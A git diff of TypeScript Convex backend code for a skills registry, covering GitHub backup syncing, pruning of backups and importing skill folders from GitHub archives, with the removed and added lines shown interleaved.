kind: "ok";
skillId: Id<"skills">;
versionId: Id<"skillVersions">;
slug: string;
displayName: string;
version: string;
ownerHandle: string;
files: Doc<"skillVersions">["files"];
publishedAt: number;
kind: 'ok'
skillId: Id<'skills'>
versionId: Id<'skillVersions'>
slug: string
displayName: string
version: string
ownerHandle: string
files: Doc<'skillVersions'>['files']
publishedAt: number
}
| { kind: "missingLatestVersion"; skillId: Id<"skills"> }
| { kind: "missingVersionDoc"; skillId: Id<"skills">; versionId: Id<"skillVersions"> }
| { kind: "missingOwner"; skillId: Id<"skills">; ownerUserId: Id<"users"> };
| { kind: 'missingLatestVersion'; skillId: Id<'skills'> }
| { kind: 'missingVersionDoc'; skillId: Id<'skills'>; versionId: Id<'skillVersions'> }
| { kind: 'missingOwner'; skillId: Id<'skills'>; ownerUserId: Id<'users'> }
type BackupPageResult = {
items: BackupPageItem[];
cursor: string | null;
isDone: boolean;
};
items: BackupPageItem[]
cursor: string | null
isDone: boolean
}
type BackupSyncState = {
cursor: string | null;
pruneCursor: string | null;
};
cursor: string | null
}
export type SyncGitHubBackupsResult = {
stats: {
skillsScanned: number;
skillsSkipped: number;
skillsBackedUp: number;
skillsDeleted: number;
skillsMissingVersion: number;
skillsMissingOwner: number;
errors: number;
};
cursor: string | null;
pruneCursor: string | null;
isDone: boolean;
};
skillsScanned: number
skillsSkipped: number
skillsBackedUp: number
skillsDeleted: number
skillsMissingVersion: number
skillsMissingOwner: number
errors: number
}
cursor: string | null
isDone: boolean
}
export const getGitHubBackupPageInternal = internalQuery({
args: {
@@ -56,38 +54,38 @@ export const getGitHubBackupPageInternal = internalQuery({
batchSize: v.optional(v.number()),
},
handler: async (ctx, args): Promise<BackupPageResult> => {
const batchSize = clampInt(args.batchSize ?? DEFAULT_BATCH_SIZE, 1, MAX_BATCH_SIZE);
const batchSize = clampInt(args.batchSize ?? DEFAULT_BATCH_SIZE, 1, MAX_BATCH_SIZE)
const { page, isDone, continueCursor } = await ctx.db
.query("skills")
.order("asc")
.paginate({ cursor: args.cursor ?? null, numItems: batchSize });
.query('skills')
.order('asc')
.paginate({ cursor: args.cursor ?? null, numItems: batchSize })
const items: BackupPageItem[] = [];
const items: BackupPageItem[] = []
for (const skill of page) {
if (!isPubliclyAvailableSkill(skill)) continue;
if (skill.softDeletedAt) continue
if (!skill.latestVersionId) {
items.push({ kind: "missingLatestVersion", skillId: skill._id });
continue;
items.push({ kind: 'missingLatestVersion', skillId: skill._id })
continue
}
const version = await ctx.db.get(skill.latestVersionId);
const version = await ctx.db.get(skill.latestVersionId)
if (!version) {
items.push({
kind: "missingVersionDoc",
kind: 'missingVersionDoc',
skillId: skill._id,
versionId: skill.latestVersionId,
});
continue;
})
continue
}
const owner = await ctx.db.get(skill.ownerUserId);
const owner = await ctx.db.get(skill.ownerUserId)
if (!owner || owner.deletedAt || owner.deactivatedAt) {
items.push({ kind: "missingOwner", skillId: skill._id, ownerUserId: skill.ownerUserId });
continue;
items.push({ kind: 'missingOwner', skillId: skill._id, ownerUserId: skill.ownerUserId })
continue
}
items.push({
kind: "ok",
kind: 'ok',
skillId: skill._id,
versionId: version._id,
slug: skill.slug,
@@ -96,96 +94,78 @@ export const getGitHubBackupPageInternal = internalQuery({
ownerHandle: owner.handle ?? owner._id,
files: version.files,
publishedAt: version.createdAt,
});
})
}
return { items, cursor: continueCursor, isDone };
return { items, cursor: continueCursor, isDone }
},
});
function isPubliclyAvailableSkill(skill: {
softDeletedAt?: number;
moderationStatus?: string | null;
}) {
if (skill.softDeletedAt) return false;
return (
skill.moderationStatus === undefined ||
skill.moderationStatus === null ||
skill.moderationStatus === "active"
);
}
})
export const getGitHubBackupSyncStateInternal = internalQuery({
args: {},
handler: async (ctx): Promise<BackupSyncState> => {
const state = await ctx.db
.query("githubBackupSyncState")
.withIndex("by_key", (q) => q.eq("key", SYNC_STATE_KEY))
.unique();
return { cursor: state?.cursor ?? null, pruneCursor: state?.pruneCursor ?? null };
.query('githubBackupSyncState')
.withIndex('by_key', (q) => q.eq('key', SYNC_STATE_KEY))
.unique()
return { cursor: state?.cursor ?? null }
},
});
})
export const setGitHubBackupSyncStateInternal = internalMutation({
args: {
cursor: v.optional(v.string()),
pruneCursor: v.optional(v.string()),
},
handler: async (ctx, args) => {
const now = Date.now();
const now = Date.now()
const state = await ctx.db
.query("githubBackupSyncState")
.withIndex("by_key", (q) => q.eq("key", SYNC_STATE_KEY))
.unique();
.query('githubBackupSyncState')
.withIndex('by_key', (q) => q.eq('key', SYNC_STATE_KEY))
.unique()
if (!state) {
await ctx.db.insert("githubBackupSyncState", {
await ctx.db.insert('githubBackupSyncState', {
key: SYNC_STATE_KEY,
cursor: args.cursor,
pruneCursor: args.pruneCursor,
updatedAt: now,
});
return { ok: true as const };
})
return { ok: true as const }
}
await ctx.db.patch(state._id, {
cursor: args.cursor,
pruneCursor: args.pruneCursor,
updatedAt: now,
});
})
return { ok: true as const };
return { ok: true as const }
},
});
})
export const syncGitHubBackups: ReturnType<typeof action> = action({
args: {
dryRun: v.optional(v.boolean()),
batchSize: v.optional(v.number()),
maxBatches: v.optional(v.number()),
pruneBatchSize: v.optional(v.number()),
resetCursor: v.optional(v.boolean()),
},
handler: async (ctx, args): Promise<SyncGitHubBackupsResult> => {
const { user } = await requireUserFromAction(ctx);
assertRole(user, ["admin"]);
const { user } = await requireUserFromAction(ctx)
assertRole(user, ['admin'])
if (args.resetCursor && !args.dryRun) {
await ctx.runMutation(internal.githubBackups.setGitHubBackupSyncStateInternal, {
cursor: undefined,
pruneCursor: undefined,
});
})
}
return ctx.runAction(internal.githubBackupsNode.syncGitHubBackupsInternal, {
dryRun: args.dryRun,
batchSize: args.batchSize,
maxBatches: args.maxBatches,
pruneBatchSize: args.pruneBatchSize,
}) as Promise<SyncGitHubBackupsResult>;
}) as Promise<SyncGitHubBackupsResult>
},
});
})
function clampInt(value: number, min: number, max: number) {
return Math.max(min, Math.min(max, Math.floor(value)));
return Math.max(min, Math.min(max, Math.floor(value)))
}
+98 -172
View File
@@ -1,10 +1,10 @@
"use node";
'use node'
import { v } from "convex/values";
import { internal } from "./_generated/api";
import type { Doc } from "./_generated/dataModel";
import type { ActionCtx } from "./_generated/server";
import { internalAction } from "./functions";
import { v } from 'convex/values'
import { internal } from './_generated/api'
import type { Doc } from './_generated/dataModel'
import type { ActionCtx } from './_generated/server'
import { internalAction } from './_generated/server'
import {
backupSkillToGitHub,
deleteGitHubSkillBackup,
@@ -13,52 +13,48 @@ import {
isGitHubBackupConfigured,
listGitHubSkillBackupEntries,
normalizeOwner,
} from "./lib/githubBackup";
} from './lib/githubBackup'
const DEFAULT_BATCH_SIZE = 50;
const MAX_BATCH_SIZE = 200;
const DEFAULT_MAX_BATCHES = 5;
const MAX_MAX_BATCHES = 200;
const DEFAULT_PRUNE_BATCH_SIZE = 10;
const MAX_PRUNE_BATCH_SIZE = 100;
const DEFAULT_BATCH_SIZE = 50
const MAX_BATCH_SIZE = 200
const DEFAULT_MAX_BATCHES = 5
const MAX_MAX_BATCHES = 200
type BackupPageItem =
| {
kind: "ok";
slug: string;
version: string;
displayName: string;
ownerHandle: string;
files: Doc<"skillVersions">["files"];
publishedAt: number;
kind: 'ok'
slug: string
version: string
displayName: string
ownerHandle: string
files: Doc<'skillVersions'>['files']
publishedAt: number
}
| { kind: "missingLatestVersion" }
| { kind: "missingVersionDoc" }
| { kind: "missingOwner" };
| { kind: 'missingLatestVersion' }
| { kind: 'missingVersionDoc' }
| { kind: 'missingOwner' }
export type GitHubBackupSyncStats = {
skillsScanned: number;
skillsSkipped: number;
skillsBackedUp: number;
skillsDeleted: number;
skillsMissingVersion: number;
skillsMissingOwner: number;
errors: number;
};
skillsScanned: number
skillsSkipped: number
skillsBackedUp: number
skillsDeleted: number
skillsMissingVersion: number
skillsMissingOwner: number
errors: number
}
export type SyncGitHubBackupsInternalArgs = {
dryRun?: boolean;
batchSize?: number;
maxBatches?: number;
pruneBatchSize?: number;
};
dryRun?: boolean
batchSize?: number
maxBatches?: number
}
export type SyncGitHubBackupsInternalResult = {
stats: GitHubBackupSyncStats;
cursor: string | null;
pruneCursor: string | null;
isDone: boolean;
};
stats: GitHubBackupSyncStats
cursor: string | null
isDone: boolean
}
export const backupSkillForPublishInternal = internalAction({
args: {
@@ -70,7 +66,7 @@ export const backupSkillForPublishInternal = internalAction({
v.object({
path: v.string(),
size: v.number(),
storageId: v.id("_storage"),
storageId: v.id('_storage'),
sha256: v.string(),
contentType: v.optional(v.string()),
}),
@@ -79,18 +75,18 @@ export const backupSkillForPublishInternal = internalAction({
},
handler: async (ctx, args) => {
if (!isGitHubBackupConfigured()) {
return { skipped: true as const };
return { skipped: true as const }
}
await backupSkillToGitHub(ctx, args);
return { skipped: false as const };
await backupSkillToGitHub(ctx, args)
return { skipped: false as const }
},
});
})
export async function syncGitHubBackupsInternalHandler(
ctx: ActionCtx,
args: SyncGitHubBackupsInternalArgs,
): Promise<SyncGitHubBackupsInternalResult> {
const dryRun = Boolean(args.dryRun);
const dryRun = Boolean(args.dryRun)
const stats: GitHubBackupSyncStats = {
skillsScanned: 0,
skillsSkipped: 0,
@@ -99,57 +95,50 @@ export async function syncGitHubBackupsInternalHandler(
skillsMissingVersion: 0,
skillsMissingOwner: 0,
errors: 0,
};
if (!isGitHubBackupConfigured()) {
return { stats, cursor: null, pruneCursor: null, isDone: true };
}
const batchSize = clampInt(args.batchSize ?? DEFAULT_BATCH_SIZE, 1, MAX_BATCH_SIZE);
const maxBatches = clampInt(args.maxBatches ?? DEFAULT_MAX_BATCHES, 1, MAX_MAX_BATCHES);
const pruneBatchSize = clampInt(
args.pruneBatchSize ?? DEFAULT_PRUNE_BATCH_SIZE,
1,
MAX_PRUNE_BATCH_SIZE,
);
const context = await getGitHubBackupContext();
if (!isGitHubBackupConfigured()) {
return { stats, cursor: null, isDone: true }
}
const batchSize = clampInt(args.batchSize ?? DEFAULT_BATCH_SIZE, 1, MAX_BATCH_SIZE)
const maxBatches = clampInt(args.maxBatches ?? DEFAULT_MAX_BATCHES, 1, MAX_MAX_BATCHES)
const context = await getGitHubBackupContext()
const state = dryRun
? { cursor: null as string | null, pruneCursor: null as string | null }
? { cursor: null as string | null }
: ((await ctx.runQuery(internal.githubBackups.getGitHubBackupSyncStateInternal, {})) as {
cursor: string | null;
pruneCursor: string | null;
});
cursor: string | null
})
let cursor: string | null = state.cursor;
let pruneCursor: string | null = state.pruneCursor;
let isDone = false;
let cursor: string | null = state.cursor
let isDone = false
for (let batch = 0; batch < maxBatches; batch++) {
const page = (await ctx.runQuery(internal.githubBackups.getGitHubBackupPageInternal, {
cursor: cursor ?? undefined,
batchSize,
})) as { items: BackupPageItem[]; cursor: string | null; isDone: boolean };
})) as { items: BackupPageItem[]; cursor: string | null; isDone: boolean }
cursor = page.cursor;
isDone = page.isDone;
cursor = page.cursor
isDone = page.isDone
for (const item of page.items) {
if (item.kind !== "ok") {
if (item.kind === "missingLatestVersion" || item.kind === "missingVersionDoc") {
stats.skillsMissingVersion += 1;
} else if (item.kind === "missingOwner") {
stats.skillsMissingOwner += 1;
if (item.kind !== 'ok') {
if (item.kind === 'missingLatestVersion' || item.kind === 'missingVersionDoc') {
stats.skillsMissingVersion += 1
} else if (item.kind === 'missingOwner') {
stats.skillsMissingOwner += 1
}
continue;
continue
}
stats.skillsScanned += 1;
stats.skillsScanned += 1
try {
const meta = await fetchGitHubSkillMeta(context, item.ownerHandle, item.slug);
const meta = await fetchGitHubSkillMeta(context, item.ownerHandle, item.slug)
if (meta?.latest?.version === item.version) {
stats.skillsSkipped += 1;
continue;
stats.skillsSkipped += 1
continue
}
if (!dryRun) {
@@ -164,42 +153,27 @@ export async function syncGitHubBackupsInternalHandler(
publishedAt: item.publishedAt,
},
context,
);
stats.skillsBackedUp += 1;
)
stats.skillsBackedUp += 1
}
} catch (error) {
console.error("GitHub backup sync failed", error);
stats.errors += 1;
console.error('GitHub backup sync failed', error)
stats.errors += 1
}
}
if (!dryRun) {
await ctx.runMutation(internal.githubBackups.setGitHubBackupSyncStateInternal, {
cursor: isDone ? undefined : (cursor ?? undefined),
pruneCursor: pruneCursor ?? undefined,
});
})
}
if (isDone) break;
if (isDone) break
}
pruneCursor = await pruneDeletedSkillBackups(
ctx,
context,
dryRun,
stats,
pruneCursor,
pruneBatchSize,
);
await pruneDeletedSkillBackups(ctx, context, dryRun, stats)
if (!dryRun) {
await ctx.runMutation(internal.githubBackups.setGitHubBackupSyncStateInternal, {
cursor: isDone ? undefined : (cursor ?? undefined),
pruneCursor: pruneCursor ?? undefined,
});
}
return { stats, cursor, pruneCursor, isDone };
return { stats, cursor, isDone }
}
async function pruneDeletedSkillBackups(
@@ -207,71 +181,43 @@ async function pruneDeletedSkillBackups(
context: Awaited<ReturnType<typeof getGitHubBackupContext>>,
dryRun: boolean,
stats: GitHubBackupSyncStats,
pruneCursor: string | null,
pruneBatchSize: number,
): Promise<string | null> {
let entries: Awaited<ReturnType<typeof listGitHubSkillBackupEntries>>;
) {
let entries: Awaited<ReturnType<typeof listGitHubSkillBackupEntries>>
try {
entries = await listGitHubSkillBackupEntries(context);
entries = await listGitHubSkillBackupEntries(context)
} catch (error) {
console.error("GitHub backup cleanup list failed", error);
stats.errors += 1;
return pruneCursor;
console.error('GitHub backup cleanup list failed', error)
stats.errors += 1
return
}
if (!entries.length) return null;
const sortedEntries = [...entries].sort((a, b) => a.rootPath.localeCompare(b.rootPath));
const startIndex =
pruneCursor == null
? 0
: sortedEntries.findIndex((entry) => entry.rootPath.localeCompare(pruneCursor) > 0);
if (startIndex === -1) return null;
const chunk = sortedEntries.slice(startIndex, startIndex + pruneBatchSize);
if (!chunk.length) return null;
let lastProcessed = pruneCursor;
for (const entry of chunk) {
lastProcessed = entry.rootPath;
for (const entry of entries) {
try {
const skill = (await ctx.runQuery(internal.skills.getSkillBySlugInternal, {
slug: entry.slug,
})) as Doc<"skills"> | null;
if (!isMirrorEligibleSkill(skill)) {
await deleteBackupIfNeeded(context, entry, dryRun, stats);
continue;
})) as Doc<'skills'> | null
if (!skill || skill.softDeletedAt) {
await deleteBackupIfNeeded(context, entry, dryRun, stats)
continue
}
const owner = (await ctx.runQuery(internal.users.getByIdInternal, {
userId: skill.ownerUserId,
})) as Doc<"users"> | null;
})) as Doc<'users'> | null
if (!owner || owner.deletedAt || owner.deactivatedAt) {
await deleteBackupIfNeeded(context, entry, dryRun, stats);
continue;
await deleteBackupIfNeeded(context, entry, dryRun, stats)
continue
}
const ownerHandle = normalizeOwner(owner.handle ?? owner._id);
const ownerHandle = normalizeOwner(owner.handle ?? owner._id)
if (ownerHandle !== entry.owner) {
await deleteBackupIfNeeded(context, entry, dryRun, stats);
await deleteBackupIfNeeded(context, entry, dryRun, stats)
}
} catch (error) {
console.error("GitHub backup cleanup failed", error);
stats.errors += 1;
console.error('GitHub backup cleanup failed', error)
stats.errors += 1
}
}
const reachedEnd = startIndex + chunk.length >= sortedEntries.length;
return reachedEnd ? null : (lastProcessed ?? null);
}
function isMirrorEligibleSkill(skill: Doc<"skills"> | null): skill is Doc<"skills"> {
if (!skill || skill.softDeletedAt) return false;
return (
skill.moderationStatus === undefined ||
skill.moderationStatus === null ||
skill.moderationStatus === "active"
);
}
async function deleteBackupIfNeeded(
@@ -282,9 +228,9 @@ async function deleteBackupIfNeeded(
) {
const result = dryRun
? { deleted: true as const }
: await deleteGitHubSkillBackup(context, entry.owner, entry.slug);
: await deleteGitHubSkillBackup(context, entry.owner, entry.slug)
if (result.deleted) {
stats.skillsDeleted += 1;
stats.skillsDeleted += 1
}
}
@@ -293,30 +239,10 @@ export const syncGitHubBackupsInternal = internalAction({
dryRun: v.optional(v.boolean()),
batchSize: v.optional(v.number()),
maxBatches: v.optional(v.number()),
pruneBatchSize: v.optional(v.number()),
},
handler: syncGitHubBackupsInternalHandler,
});
export const deleteGitHubBackupForSlugInternal = internalAction({
args: {
ownerHandle: v.string(),
slug: v.string(),
dryRun: v.optional(v.boolean()),
},
handler: async (_ctx, args) => {
if (!isGitHubBackupConfigured()) {
return { skipped: true as const, deleted: false as const };
}
if (args.dryRun) {
return { skipped: false as const, deleted: true as const, dryRun: true as const };
}
const context = await getGitHubBackupContext();
const result = await deleteGitHubSkillBackup(context, args.ownerHandle, args.slug);
return { skipped: false as const, ...result };
},
});
})
function clampInt(value: number, min: number, max: number) {
return Math.max(min, Math.min(max, Math.floor(value)));
return Math.max(min, Math.min(max, Math.floor(value)))
}
+6 -5
View File
@@ -1,8 +1,9 @@
import { v } from "convex/values";
import { internalQuery } from "./functions";
import { getGitHubProviderAccountId } from "./lib/githubIdentity";
import { v } from 'convex/values'
import { internalQuery } from './_generated/server'
import { getGitHubProviderAccountId } from './lib/githubIdentity'
export const getGitHubProviderAccountIdInternal = internalQuery({
args: { userId: v.id("users") },
args: { userId: v.id('users') },
handler: async (ctx, args) => getGitHubProviderAccountId(ctx, args.userId),
});
})
-36
View File
@@ -1,36 +0,0 @@
/* @vitest-environment node */
import { describe, expect, it } from "vitest";
import { __test } from "./githubImport";
import { buildGitHubZipForTests } from "./lib/githubImport";
describe("githubImport", () => {
it("formats storage failure message with file context", () => {
const message = __test.buildStoreFailureMessage("skill/SKILL.md", 123, new Error("disk full"));
expect(message).toBe('Failed to store file "skill/SKILL.md" (123 bytes). disk full');
});
it("formats publish failure message with fallback text", () => {
expect(__test.buildPublishFailureMessage(new Error("slug exists"))).toBe(
"Import failed during publish: slug exists. Check skill format, slug availability, and try again.",
);
expect(__test.buildPublishFailureMessage("unexpected")).toBe(
"Import failed during publish: unexpected. Check skill format, slug availability, and try again.",
);
});
it("filters mac junk files while unzipping archive entries", () => {
const zip = buildGitHubZipForTests({
"demo-repo/skill/SKILL.md": "# Demo",
"demo-repo/skill/notes.md": "notes",
"demo-repo/skill/.DS_Store": "junk",
"demo-repo/skill/._notes.md": "junk",
"demo-repo/__MACOSX/._SKILL.md": "junk",
});
const entries = __test.unzipToEntries(zip);
expect(Object.keys(entries).sort()).toEqual([
"demo-repo/skill/SKILL.md",
"demo-repo/skill/notes.md",
]);
});
});
+165 -188
View File
@@ -1,11 +1,11 @@
import { ConvexError, v } from "convex/values";
import { unzipSync } from "fflate";
import semver from "semver";
import { api, internal } from "./_generated/api";
import type { Id } from "./_generated/dataModel";
import type { ActionCtx } from "./_generated/server";
import { action } from "./functions";
import { requireUserFromAction } from "./lib/access";
import { ConvexError, v } from 'convex/values'
import { unzipSync } from 'fflate'
import semver from 'semver'
import { api, internal } from './_generated/api'
import type { Id } from './_generated/dataModel'
import type { ActionCtx } from './_generated/server'
import { action } from './_generated/server'
import { requireUserFromAction } from './lib/access'
import {
buildGitHubImportFileList,
computeDefaultSelectedPaths,
@@ -18,29 +18,29 @@ import {
stripGitHubZipRoot,
suggestDisplayName,
suggestVersion,
} from "./lib/githubImport";
import { publishVersionForUser } from "./lib/skillPublish";
import { isMacJunkPath, sanitizePath } from "./lib/skills";
} from './lib/githubImport'
import { publishVersionForUser } from './lib/skillPublish'
import { sanitizePath } from './lib/skills'
const MAX_SELECTED_BYTES = 50 * 1024 * 1024;
const MAX_UNZIPPED_BYTES = 80 * 1024 * 1024;
const MAX_FILE_COUNT = 7_500;
const MAX_SINGLE_FILE_BYTES = 10 * 1024 * 1024;
const MAX_SELECTED_BYTES = 50 * 1024 * 1024
const MAX_UNZIPPED_BYTES = 80 * 1024 * 1024
const MAX_FILE_COUNT = 7_500
const MAX_SINGLE_FILE_BYTES = 10 * 1024 * 1024
export const previewGitHubImport = action({
args: { url: v.string() },
handler: async (ctx, args) => {
await requireUserFromAction(ctx);
await requireUserFromAction(ctx)
const parsed = parseGitHubImportUrl(args.url);
const resolved = await resolveGitHubCommit(parsed, fetch);
const zipBytes = await fetchGitHubZipBytes(resolved, fetch);
const entries = unzipToEntries(zipBytes);
const stripped = stripGitHubZipRoot(entries);
const parsed = parseGitHubImportUrl(args.url)
const resolved = await resolveGitHubCommit(parsed, fetch)
const zipBytes = await fetchGitHubZipBytes(resolved, fetch)
const entries = unzipToEntries(zipBytes)
const stripped = stripGitHubZipRoot(entries)
const candidates = detectGitHubImportCandidates(stripped).filter((candidate) =>
isCandidateUnderResolvedPath(candidate.path, resolved.path),
);
if (candidates.length === 0) throw new ConvexError("No SKILL.md found in this repo");
)
if (candidates.length === 0) throw new ConvexError('No SKILL.md found in this repo')
return {
resolved,
@@ -50,53 +50,53 @@ export const previewGitHubImport = action({
name: candidate.name ?? null,
description: candidate.description ?? null,
})),
};
}
},
});
})
export const previewGitHubImportCandidate = action({
args: { url: v.string(), candidatePath: v.string() },
handler: async (ctx, args) => {
const { userId } = await requireUserFromAction(ctx);
const { userId } = await requireUserFromAction(ctx)
const parsed = parseGitHubImportUrl(args.url);
const resolved = await resolveGitHubCommit(parsed, fetch);
const zipBytes = await fetchGitHubZipBytes(resolved, fetch);
const entries = unzipToEntries(zipBytes);
const stripped = stripGitHubZipRoot(entries);
const parsed = parseGitHubImportUrl(args.url)
const resolved = await resolveGitHubCommit(parsed, fetch)
const zipBytes = await fetchGitHubZipBytes(resolved, fetch)
const entries = unzipToEntries(zipBytes)
const stripped = stripGitHubZipRoot(entries)
const normalizedCandidatePath = normalizeRepoPath(args.candidatePath);
const normalizedCandidatePath = normalizeRepoPath(args.candidatePath)
if (!isCandidateUnderResolvedPath(normalizedCandidatePath, resolved.path)) {
throw new ConvexError("Candidate path is outside the requested import scope");
throw new ConvexError('Candidate path is outside the requested import scope')
}
const candidates = detectGitHubImportCandidates(stripped).filter((candidate) =>
isCandidateUnderResolvedPath(candidate.path, resolved.path),
);
)
const candidate = candidates.find((item) => item.path === normalizedCandidatePath);
if (!candidate) throw new ConvexError("Candidate not found");
const candidate = candidates.find((item) => item.path === normalizedCandidatePath)
if (!candidate) throw new ConvexError('Candidate not found')
const files = listTextFilesUnderCandidate(stripped, candidate.path);
const defaultSelectedPaths = computeDefaultSelectedPaths({ candidate, files });
const files = listTextFilesUnderCandidate(stripped, candidate.path)
const defaultSelectedPaths = computeDefaultSelectedPaths({ candidate, files })
const fileList = buildGitHubImportFileList({
candidate,
files,
defaultSelectedPaths,
});
})
const baseForNaming = candidate.path ? (candidate.path.split("/").at(-1) ?? "") : resolved.repo;
const suggestedDisplayName = suggestDisplayName(candidate, baseForNaming);
const baseForNaming = candidate.path ? (candidate.path.split('/').at(-1) ?? '') : resolved.repo
const suggestedDisplayName = suggestDisplayName(candidate, baseForNaming)
const rawSlugBase = sanitizeSlug(candidate.path ? baseForNaming : resolved.repo);
const suggestedSlug = await suggestAvailableSlug(ctx, userId, rawSlugBase);
const rawSlugBase = sanitizeSlug(candidate.path ? baseForNaming : resolved.repo)
const suggestedSlug = await suggestAvailableSlug(ctx, userId, rawSlugBase)
const existing = await ctx.runQuery(api.skills.getBySlug, { slug: suggestedSlug });
const existing = await ctx.runQuery(api.skills.getBySlug, { slug: suggestedSlug })
const existingLatest =
existing?.skill && existing.skill.ownerUserId === userId
? (existing.latestVersion?.version ?? null)
: null;
const suggestedVersion = suggestVersion(existingLatest);
: null
const suggestedVersion = suggestVersion(existingLatest)
return {
resolved,
@@ -111,12 +111,12 @@ export const previewGitHubImportCandidate = action({
slug: suggestedSlug,
displayName: suggestedDisplayName,
version: suggestedVersion,
tags: ["latest"],
tags: ['latest'],
},
files: fileList,
};
}
},
});
})
export const importGitHubSkill = action({
args: {
@@ -130,211 +130,188 @@ export const importGitHubSkill = action({
tags: v.optional(v.array(v.string())),
},
handler: async (ctx, args) => {
const { userId } = await requireUserFromAction(ctx);
const { userId } = await requireUserFromAction(ctx)
const parsed = parseGitHubImportUrl(args.url);
const resolved = await resolveGitHubCommit(parsed, fetch);
if (!/^[a-f0-9]{40}$/i.test(args.commit)) throw new ConvexError("Invalid commit");
const parsed = parseGitHubImportUrl(args.url)
const resolved = await resolveGitHubCommit(parsed, fetch)
if (!/^[a-f0-9]{40}$/i.test(args.commit)) throw new ConvexError('Invalid commit')
if (args.commit.toLowerCase() !== resolved.commit.toLowerCase()) {
throw new ConvexError("Import is out of date. Re-run preview.");
throw new ConvexError('Import is out of date. Re-run preview.')
}
const normalizedCandidatePath = normalizeRepoPath(args.candidatePath);
const normalizedCandidatePath = normalizeRepoPath(args.candidatePath)
if (!isCandidateUnderResolvedPath(normalizedCandidatePath, resolved.path)) {
throw new ConvexError("Candidate path is outside the requested import scope");
throw new ConvexError('Candidate path is outside the requested import scope')
}
const zipBytes = await fetchGitHubZipBytes(resolved, fetch);
const entries = stripGitHubZipRoot(unzipToEntries(zipBytes));
const zipBytes = await fetchGitHubZipBytes(resolved, fetch)
const entries = stripGitHubZipRoot(unzipToEntries(zipBytes))
const candidates = detectGitHubImportCandidates(entries).filter((candidate) =>
isCandidateUnderResolvedPath(candidate.path, resolved.path),
);
const candidate = candidates.find((item) => item.path === normalizedCandidatePath);
if (!candidate) throw new ConvexError("Candidate not found");
)
const candidate = candidates.find((item) => item.path === normalizedCandidatePath)
if (!candidate) throw new ConvexError('Candidate not found')
const filesUnderCandidate = listTextFilesUnderCandidate(entries, candidate.path);
const byPath = new Map(filesUnderCandidate.map((file) => [file.path, file.bytes]));
const filesUnderCandidate = listTextFilesUnderCandidate(entries, candidate.path)
const byPath = new Map(filesUnderCandidate.map((file) => [file.path, file.bytes]))
const selected = Array.from(
new Set(args.selectedPaths.map((path) => normalizeRepoPath(path)).filter(Boolean)),
);
if (selected.length === 0) throw new ConvexError("No files selected");
)
if (selected.length === 0) throw new ConvexError('No files selected')
const candidateRoot = candidate.path ? `${candidate.path}/` : "";
const normalizedReadmePath = normalizeRepoPath(candidate.readmePath);
const candidateRoot = candidate.path ? `${candidate.path}/` : ''
const normalizedReadmePath = normalizeRepoPath(candidate.readmePath)
if (!selected.includes(normalizedReadmePath)) {
throw new ConvexError("SKILL.md must be selected");
throw new ConvexError('SKILL.md must be selected')
}
let totalBytes = 0;
let totalBytes = 0
const storedFiles: Array<{
path: string;
size: number;
storageId: Id<"_storage">;
sha256: string;
contentType?: string;
}> = [];
path: string
size: number
storageId: Id<'_storage'>
sha256: string
contentType?: string
}> = []
for (const path of selected.sort()) {
if (candidateRoot && !path.startsWith(candidateRoot)) {
throw new ConvexError("Selected file is outside the chosen skill folder");
throw new ConvexError('Selected file is outside the chosen skill folder')
}
const bytes = byPath.get(path);
if (!bytes) continue;
totalBytes += bytes.byteLength;
if (totalBytes > MAX_SELECTED_BYTES)
throw new ConvexError("Selected files exceed 50MB limit");
const bytes = byPath.get(path)
if (!bytes) continue
totalBytes += bytes.byteLength
if (totalBytes > MAX_SELECTED_BYTES) throw new ConvexError('Selected files exceed 50MB limit')
const relPath = candidateRoot ? path.slice(candidateRoot.length) : path;
const sanitized = sanitizePath(relPath);
if (!sanitized) throw new ConvexError("Invalid file paths");
const relPath = candidateRoot ? path.slice(candidateRoot.length) : path
const sanitized = sanitizePath(relPath)
if (!sanitized) throw new ConvexError('Invalid file paths')
const sha256 = await sha256Hex(bytes);
const safeBytes = new Uint8Array(bytes);
let storageId: Id<"_storage">;
try {
storageId = await ctx.storage.store(new Blob([safeBytes], { type: "text/plain" }));
} catch (error) {
throw new ConvexError(buildStoreFailureMessage(sanitized, bytes.byteLength, error));
}
const sha256 = await sha256Hex(bytes)
const safeBytes = new Uint8Array(bytes)
const storageId = await ctx.storage.store(new Blob([safeBytes], { type: 'text/plain' }))
storedFiles.push({
path: sanitized,
size: bytes.byteLength,
storageId,
sha256,
contentType: "text/plain",
});
contentType: 'text/plain',
})
}
if (storedFiles.length === 0) throw new ConvexError("No files selected");
if (storedFiles.length === 0) throw new ConvexError('No files selected')
const slugBase = (args.slug ?? "").trim().toLowerCase();
const displayName = (args.displayName ?? "").trim();
const tags = (args.tags ?? ["latest"]).map((tag) => tag.trim()).filter(Boolean);
const version = (args.version ?? "").trim();
const slugBase = (args.slug ?? '').trim().toLowerCase()
const displayName = (args.displayName ?? '').trim()
const tags = (args.tags ?? ['latest']).map((tag) => tag.trim()).filter(Boolean)
const version = (args.version ?? '').trim()
if (!slugBase) throw new ConvexError("Slug required");
if (!displayName) throw new ConvexError("Display name required");
if (!version || !semver.valid(version)) throw new ConvexError("Version must be valid semver");
if (!slugBase) throw new ConvexError('Slug required')
if (!displayName) throw new ConvexError('Display name required')
if (!version || !semver.valid(version)) throw new ConvexError('Version must be valid semver')
let result: Awaited<ReturnType<typeof publishVersionForUser>>;
try {
result = await publishVersionForUser(ctx, userId, {
slug: slugBase,
displayName,
version,
changelog: "",
tags,
files: storedFiles,
source: {
kind: "github",
url: resolved.originalUrl,
repo: `${resolved.owner}/${resolved.repo}`,
ref: resolved.ref,
commit: resolved.commit,
path: candidate.path,
importedAt: Date.now(),
},
});
} catch (error) {
throw new ConvexError(buildPublishFailureMessage(error));
}
const result = await publishVersionForUser(ctx, userId, {
slug: slugBase,
displayName,
version,
changelog: '',
tags,
files: storedFiles,
source: {
kind: 'github',
url: resolved.originalUrl,
repo: `${resolved.owner}/${resolved.repo}`,
ref: resolved.ref,
commit: resolved.commit,
path: candidate.path,
importedAt: Date.now(),
},
})
return { ok: true, slug: slugBase, version, ...result };
return { ok: true, slug: slugBase, version, ...result }
},
});
})
function unzipToEntries(zipBytes: Uint8Array) {
const entries = unzipSync(zipBytes);
const out: Record<string, Uint8Array> = {};
const rawPaths = Object.keys(entries);
if (rawPaths.length > MAX_FILE_COUNT) throw new ConvexError("Repo archive has too many files");
let totalBytes = 0;
const entries = unzipSync(zipBytes)
const out: Record<string, Uint8Array> = {}
const rawPaths = Object.keys(entries)
if (rawPaths.length > MAX_FILE_COUNT) throw new ConvexError('Repo archive has too many files')
let totalBytes = 0
